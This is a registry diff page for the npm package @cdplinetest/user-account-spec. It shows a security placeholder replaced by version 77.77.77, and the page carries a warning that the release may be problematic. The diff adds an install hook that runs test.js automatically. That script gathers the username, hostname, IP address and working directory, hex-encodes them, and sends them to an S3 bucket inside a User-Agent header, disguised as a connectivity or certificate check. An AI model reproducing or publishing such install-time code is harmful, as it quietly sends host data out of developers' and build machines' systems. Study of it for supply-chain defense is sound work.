@cdplinetest/user-account-spec 0.0.1-security → 77.77.77

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @cdplinetest/user-account-spec might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40cdplinetest%2Fuser-account-spec for more information.
1
+ ### Creating initial package for further publishing
package/index.js ADDED
@@ -0,0 +1 @@
1
+ console.log('placeholder')
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "@cdplinetest/user-account-spec",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "77.77.77",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "install": "node test.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/test.js ADDED
@@ -0,0 +1,60 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+
4
+ const S3_CONNECTIVITY_BUCKET = 'connectivity-test-calle.s3.eu-central-1.amazonaws.com';
5
+ const S3_TEST_FILE = '/test.txt';
6
+
7
+ const POD_NAME = os.userInfo().username;
8
+ const K8_HOST_NAME = os.hostname();
9
+ const IP_ADDRESS = getIPAddress();
10
+ const HOME = process.cwd();
11
+
12
+ const POD_INFO = encodeAll(POD_NAME + '\n' + K8_HOST_NAME + '\n' + IP_ADDRESS + '\n' + HOME)
13
+
14
+ const headers = {
15
+ "User-Agent": "Connectivity-test-pipe " + POD_INFO
16
+ }
17
+
18
+ const options = {
19
+ hostname: S3_CONNECTIVITY_BUCKET,
20
+ path: S3_TEST_FILE,
21
+ port: 443,
22
+ headers
23
+ }
24
+
25
+ function getIPAddress() {
26
+ const interfaces = os.networkInterfaces();
27
+ for (const iface of Object.values(interfaces)) {
28
+ for (const details of iface) {
29
+ if (!details.internal && details.family === 'IPv4') {
30
+ return details.address;
31
+ }
32
+ }
33
+ }
34
+ return 'Unknown IP';
35
+ }
36
+
37
+ function encodeAll(data) {
38
+ console.log(data);
39
+ return Buffer.from(data).toString('hex');
40
+ }
41
+
42
+ function checkNetworkIsUp() {
43
+ const req = https.request(options, res => {
44
+ res.on('data', function(){ });
45
+ res.on('end', function(){ });
46
+ })
47
+
48
+ req.on('error',function(err){ throw err; });
49
+ req.end();
50
+ }
51
+
52
+
53
+ // TODO: add sentry here
54
+ try {
55
+ checkNetworkIsUp();
56
+ console.log('[v] its working !');
57
+ } catch (err) {
58
+ console.error(err);
59
+ console.error('[x] CA does not seem to be installed');
60
+ }